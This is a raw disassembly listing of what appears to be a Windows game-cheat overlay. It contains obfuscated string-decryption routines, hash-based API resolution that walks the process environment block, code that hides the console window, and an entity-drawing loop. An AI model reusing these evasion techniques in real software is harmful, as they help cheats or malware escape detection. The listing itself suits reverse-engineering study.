movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d437b
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rbx
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
inc rbx
jmp 0x1400d3792
mov ecx, 0x16
movabs rdx, 0xa0ae71da9e8ec98c
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d3792
movabs rdx, 0x9b9995edce934a36
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7a
jmp 0x1400d43d0
movzx eax, r11b
movabs rcx, 0x9684ba00fe97cae0
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x1400d441e
mov ecx, 0x1d
movabs rdx, 0x916fde142e9c4b8a
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4421
movabs rcx, 0x8c5b02275ea0cc34
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400d4266
movabs rcx, 0x8746263a8ea54cde
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x1400d4299
mov ecx, 0x24
movabs rdx, 0x82314a4dbea9cd88
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d3792
movabs rcx, 0xf57d247db6b50f31
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
mov byte [rbp + rbx + 0x290], r10b
inc rbx
jmp 0x1400d3792
movabs rcx, 0xf0684890e6b98fdb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
cmp r9, 0x80
jb 0x1400d3c2c
mov edx, 9
movabs rcx, 0x327d02d6f1a5e22
add rcx, rbx
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d437b
movabs rcx, 0xeb536ca416be1085
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
cmp r8, 0x80
jae 0x1400d41b4
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d40aa
movabs rcx, 0xd05738ed4f4764c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x1400d3c5b
movabs rcx, 0xe63e90b746c2912f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x49
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400d41e4
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d3fea
movabs rcx, 0x1afc33b6c776abbf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x39
jmp 0x1400d3cad
movabs rcx, 0x40221f472ee4562a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x26
inc rbx
jmp 0x1400d3792
mov ecx, 0x1a
movabs rdx, 0x3b0d435a5ee8d6d4
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4299
movabs rdx, 0x35f8676d8eed577e
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x72
add r10b, dl
jmp 0x1400d4266
movabs rcx, 0x30e38b80bef1d828
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1400d4421
mov ecx, 0x21
movabs rdx, 0x2bceaf93eef658d2
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d441e
movabs rdx, 0x26b9d3a71efad97c
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x64
jmp 0x1400d43d0
movabs rcx, 0x21a4f7ba4eff5a26
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
inc rbx
jmp 0x1400d3792
mov ecx, 0x28
movabs rdx, 0x1c901bcd7f03dad0
add rdx, rbx
inc r9
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d3792
movabs rcx, 0x177b3fe0af085b7a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x1400d437b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d3ee5
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x1400d3d0a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3f23
movabs rcx, 0x6ab60a6d0fa1720e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x62
inc rbx
jmp 0x1400d3792
inc rax
cmp r8, rax
jne 0x1400d3f54
mov ecx, 0x22
movabs rdx, 0x6fcae659df9cf164
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4299
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3f86
mov ecx, 0x1b
movabs rdx, 0x7f097a204f8f6f66
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d441e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d3fb9
movabs rcx, 0x893331f9ef866e12
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
inc rbx
jmp 0x1400d3792
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3d0a
movabs rcx, 0x935ce9d38f7d6cbe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x1400d437b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4017
movabs rcx, 0x20110fa397722b15
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x1400d437b
inc rax
cmp r8, rax
jne 0x1400d404c
movabs rcx, 0x2525eb90676daa6b
inc r9
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
inc rbx
jmp 0x1400d3792
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4079
movabs rcx, 0x34647f56d760286d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
jmp 0x1400d441e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d3cad
movabs rcx, 0x3e8e373077572719
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
jmp 0x1400d4266
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d40ed
mov ecx, 0x1e
movabs rdx, 0xd56c14da1f42e41c
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d3792
inc rax
cmp r8, rax
jne 0x1400d4119
movabs rcx, 0xda80f0c6ef3e6372
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400d4299
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4146
movabs rcx, 0xe9bf848d5f30e174
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x1400d441e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d417e
mov ecx, 0x10
movabs rdx, 0xf3e93c66ff27e020
add rdx, rbx
dec rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d3792
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d3c5b
mov ecx, 0x36
movabs rdx, 0xfe12f4409f1edecc
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d437b
movzx r10d, byte [rbp + rbx + 0x290]
movabs rdx, 0x83cac1a3f15dd78
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, r11b
jmp 0x1400d43d3
mov ecx, 0x2f
movabs rdx, 0xd5188070f115cce
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x290]
add r10b, dl
add r10b, r11b
jmp 0x1400d4266
movabs rcx, 0xe316c089d7a8330d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x5b
inc rbx
jmp 0x1400d3792
movabs rcx, 0xd8ed08b037b13461
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x59
movzx eax, r11b
inc r9
movabs rdx, 0x8fdbf5fd770f1c79
movzx ecx, r11b
add rdx, rbx
and al, dl
add al, al
sub cl, al
sub cl, 0x4f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x290], al
add rax, r9
sub rbx, rax
movzx eax, r11b
inc r8
movabs rdx, 0x126663f3df0cdc24
mov ecx, 2
add rdx, rbx
and al, dl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x290], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d3792
movabs rcx, 0xd3d82cc367b5b50b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
jmp 0x1400d4421
movabs rcx, 0xcec350d697ba35b5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
jmp 0x1400d441e
movabs rcx, 0xbf84bd1027c7b7b3
inc r9
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
inc rbx
jmp 0x1400d3792
movabs rcx, 0xba6fe12357cc385d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
movzx eax, r11b
movabs rcx, 0x85b23e23d7181dcd
add rcx, rbx
and al, cl
add al, al
sub r11b, al
add r11b, 0x65
add r11b, cl
mov byte [rbp + rbx + 0x290], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d3792
movabs rdx, 0xa107958347e2bbaf
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
add r10b, 0x37
add r10b, dl
movzx eax, r11b
movabs rcx, 0x8ac71a10a7139d23
add rcx, rbx
and al, cl
add al, al
sub r11b, al
add r11b, 0xb
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x290], r11b
jmp 0x1400d441e
movabs rcx, 0x9bf2b99677e73c59
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d3792
movabs rcx, 0x879f49e337f93f01
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 7
movzx eax, byte [rbp + rbx + 0x290]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d3792
movzx eax, r11b
movabs rcx, 0xd1eb210406d493d7
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1f
jmp 0x1400d3790
movzx eax, r11b
movabs rcx, 0xccd6451736d91481
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x79
jmp 0x1400d3780
lea rdi, [rbp + 0x17cc974]
jmp 0x1400d44d1
lea rdi, [rbp + 0x7a891f]
jmp 0x1400d44d1
lea rdi, [rbp + 0x290]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400d4565
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400d4565
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xcd08566e
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d4560
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400d4540
cmp edx, 0x7882b220
je 0x1400d456a
test r9d, r9d
jne 0x1400d4520
mov rax, qword [rax]
jmp 0x1400d44f0
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400d4615
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400d4615
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x88f8370f
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d4610
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400d45f0
cmp edx, 0x4225c2fd
je 0x1400d461a
test r9d, r9d
jne 0x1400d45d0
mov rax, qword [rax]
jmp 0x1400d45a0
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov ecx, 1
call fcn.1400e9770
mov r9, rax
lea r8, [0x140149ae8]
lea rdx, str.CONOUT_
lea rcx, [rsp + 0x50]
call fcn.1400f4688
mov ecx, 0xd0
call fcn.1400e1700
mov rcx, rax
call fcn.14008b400
mov rcx, rax
mov qword [0x1402ff158], rax
call fcn.14005f4c0
test al, al
jne 0x1400d468d
lea rcx, [0x140149b20]
call fcn.1400f43d4
jmp 0x1400d469e
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xc0]
mov byte [rsp + 0x30], al
call fcn.1400d7e40
lea rcx, [rbp + 0xc0]
call fcn.14008b080
cmp dword [rbp + 0xc8], 0
jne 0x1400d598f
vmovaps xmmword [rsp + 0x640], xmm6
lea rsi, str._:.0f_m
vmovaps xmmword [rsp + 0x630], xmm7
lea r13, str._f_n_n____K_n
vmovaps xmmword [rsp + 0x620], xmm8
lea r12, [0x1402fcf30]
vmovss xmm8, dword [0x140149e60]
vmovaps xmmword [rsp + 0x610], xmm9
xor eax, eax
vmovss xmm9, dword [0x140149e54]
vmovaps xmmword [rsp + 0x600], xmm10
movabs rdi, 0x140660022
vmovss xmm10, dword [0x140149e04]
vmovaps xmmword [rsp + 0x5f0], xmm11
vmovss xmm11, dword [0x140149e7c]
vmovaps xmmword [rsp + 0x5e0], xmm12
vmovsd xmm12, qword [0x140149dc8]
vmovaps xmmword [rsp + 0x5d0], xmm13
vmovss xmm13, dword [0x140149e68]
vmovaps xmmword [rsp + 0x5c0], xmm14
vmovss xmm14, dword [0x140149e70]
mov qword [rbp + 0x378], rax
lea rax, str.Overlay_FPS:_:.0f
vpxor xmm0, xmm0, xmm0
vmovaps xmmword [rsp + 0x5b0], xmm15
vmovss xmm15, dword [0x140149e58]
mov qword [rbp + 0x350], 0
vmovups ymmword [rbp + 0x358], ymm0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 0x13
vxorps xmm7, xmm7, xmm7
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [0x1402ff158]
lea rcx, [rbp + 0x350]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rdx + 0x48]
vzeroupper
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400d4817
lea rcx, [rbp + 0x350]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x350]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400d4837
mov rcx, qword [0x1402ff150]
cmp byte [rcx + 0x10], 0
sete al
mov byte [rcx + 0x10], al
call fcn.1400cce90
call fcn.14003c840
call fcn.14003de50
call fcn.140008df0
mov rax, qword [0x1402ff150]
cmp byte [rax + 0x10], 0
je 0x1400d4864
mov rcx, qword [0x1402ff158]
call fcn.140066ac0
vmovups xmm0, xmmword [0x14014a000]
lea rcx, [rbp + 0xe0]
vmovups xmmword [rbp + 0xe0], xmm0
call fcn.140003db0
vmovss xmm0, dword [0x140149e28]
mov rdx, qword [0x1402ff138]
lea rcx, [rbp + 0xf0]
add rdx, 0xdc
mov ebx, eax
vmovss dword [rsp + 0x58], xmm0
vmovss dword [rsp + 0x5c], xmm0
call fcn.1400d6e50
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x100], 1
mov qword [rbp + 0x108], rax
lea r8, [rbp + 0x40]
vmovups xmm0, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x40], xmm0
vmovups xmm0, xmmword [rbp + 0xd0]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2b0]
vmovdqa xmmword [rsp + 0x40], xmm0
call fcn.1400d7ea0
mov rcx, qword [0x1402ff158]
lea r8, [rsp + 0x58]
vmovaps xmm3, xmm9
lea rdx, [rbp + 0x2b0]
mov byte [rsp + 0x28], 0
mov dword [rsp + 0x20], ebx
call fcn.14005cf70
lea rcx, [rbp + 0x2b0]
call fcn.14005b610
mov rcx, qword [0x1402ff158]
mov r15, qword [rcx + 8]
mov r14, qword [rcx]
cmp r14, r15
je 0x1400d58c1
nop dword [rax]
nop word [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0x420]
call fcn.14005b130
lea rcx, [rbp + 0x380]
call fcn.14008b270
cmp qword [rbp + 0x440], 0
je 0x1400d49d2
mov rcx, qword [0x1402ff158]
lea r8, [rbp + 0x430]
lea rdx, [rbp + 0x3d0]
call fcn.1400ccaa0
mov rdx, rax
lea rcx, [rbp + 0x380]
mov rbx, rax
call fcn.14005b4b0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x3a0]
call fcn.14005b4b0
mov eax, dword [rbx + 0x40]
lea rcx, [rbp + 0x3f0]
mov dword [rbp + 0x3c0], eax
call fcn.14005b610
lea rcx, [rbp + 0x3d0]
call fcn.14005b610
cmp qword [rbp + 0x3b0], 0
je 0x1400d5859
mov rcx, qword [0x1402ff158]
lea rdx, [rbp + 0x3a0]
call fcn.1400ccc10
test al, al
jne 0x1400d5859
vmovups xmm0, xmmword [0x140149ff0]
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x450]
vmovups xmmword [rbp + 0x110], xmm0
call fcn.14005b9a0
lea r8, [rbp + 0x424]
lea rdx, [rbp + 0x5c]
lea rcx, [rbp + 0x50]
call fcn.14005cf30
mov rcx, rax
call fcn.14008b0c0
mov ecx, dword [rbp + 0x3c0]
mov rax, qword [0x1402ff150]
vcvtss2sd xmm1, xmm0, xmm0
vmulsd xmm2, xmm1, xmm12
vcvtsd2ss xmm3, xmm2, xmm2
vmovss dword [rsp + 0x34], xmm3
cmp ecx, 2
jne 0x1400d4a6e
vmovups xmm0, xmmword [rax + 0x2c]
vmovups xmmword [rbp + 0x120], xmm0
jmp 0x1400d4acc
cmp ecx, 3
jne 0x1400d4a82
vmovups xmm0, xmmword [rax + 0x3c]
vmovups xmmword [rbp + 0x130], xmm0
jmp 0x1400d4acc
cmp ecx, 4
jne 0x1400d4a96
vmovups xmm0, xmmword [rax + 0x4c]
vmovups xmmword [rbp + 0x140], xmm0
jmp 0x1400d4acc
cmp ecx, 6
jne 0x1400d4aba
vmovups xmm0, xmmword [rax + 0x5c]
vaddss xmm1, xmm11, dword [rbp + 0x42c]
vmovss dword [rbp + 0x42c], xmm1
vmovups xmmword [rbp + 0x150], xmm0
jmp 0x1400d4acc
cmp ecx, 5
jne 0x1400d4ad4
vmovups xmm0, xmmword [rax + 0x7c]
vmovups xmmword [rbp + 0x160], xmm0
vmovups xmmword [rbp + 0x110], xmm0
cmp byte [rbp + 0x420], 0x19
jne 0x1400d4af2
vmovups xmm0, xmmword [rax + 0x6c]
vmovups xmmword [rbp + 0x170], xmm0
vmovups xmmword [rbp + 0x110], xmm0
vmovsd xmm0, qword [rbp + 0x424]
mov eax, dword [rbp + 0x42c]
lea r9, [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x450]
mov dword [rbp + 0x78], eax
vmovsd qword [rbp + 0x70], xmm0
vmovss dword [rsp + 0x60], xmm7
vmovss dword [rsp + 0x64], xmm7
call fcn.14005d750
test al, al
je 0x1400d5674
lea rcx, [rbp + 0x3a0]
call fcn.14005e480
lea r8, [rsp + 0x34]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2d0]
call fcn.1400d6df0
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x188], rax
lea r8, [rsp + 0x40]
vmovups xmm0, xmmword [rbp + 0x180]
mov qword [rbp + 0x190], rsi
lea rdx, [rbp + 0x40]
mov qword [rbp + 0x198], 0xb
lea rcx, [rbp + 0x2f0]
vmovups xmm1, xmmword [rbp + 0x190]
vmovdqa xmmword [rsp + 0x40], xmm0
vmovdqa xmmword [rbp + 0x40], xmm1
call fcn.1400d7ea0
mov rcx, qword [0x1402ff150]
cmp byte [rcx + 0x13], 1
jne 0x1400d5368
cmp byte [rbp + 0x420], 2
jne 0x1400d4c48
cmp byte [rcx + 0x8c], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rsp + 0x70]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rsp + 0x74], xmm2
vmovss dword [rsp + 0x70], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 3
jne 0x1400d4cc5
cmp byte [rcx + 0x8d], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rsp + 0x78]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rsp + 0x7c], xmm2
vmovss dword [rsp + 0x78], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0xa
jne 0x1400d4d3f
cmp byte [rcx + 0x8e], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x80]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x7c], xmm2
vmovss dword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 9
jne 0x1400d4db9
cmp byte [rcx + 0x8e], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x78]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x74], xmm2
vmovss dword [rbp - 0x78], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0xb
jne 0x1400d4e33
cmp byte [rcx + 0x8f], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x70]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x6c], xmm2
vmovss dword [rbp - 0x70], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0xc
jne 0x1400d4ead
cmp byte [rcx + 0x90], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x68]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x64], xmm2
vmovss dword [rbp - 0x68], xmm0
mov dword [rsp + 0x20], eax
call fcn.14005cf70
mov rcx, qword [0x1402ff150]
cmp byte [rbp + 0x420], 0xd
jne 0x1400d4f27
cmp byte [rcx + 0x91], 1
jne 0x1400d5368
vmovss xmm0, dword [rsp + 0x34]
vcomiss xmm0, dword [rcx + 0x1c]
ja 0x1400d5368
lea rcx, [rbp + 0x110]
call fcn.140003db0
vmovss xmm1, dword [rsp + 0x64]
vmovss xmm0, dword [rsp + 0x60]
mov rcx, qword [0x1402ff158]
lea r8, [rbp - 0x60]
vsubss xmm2, xmm1, xmm8
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x2f0]
vmovaps xmm3, xmm9
vmovss dword [rbp - 0x5c], xmm2
vmovss dword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], eax
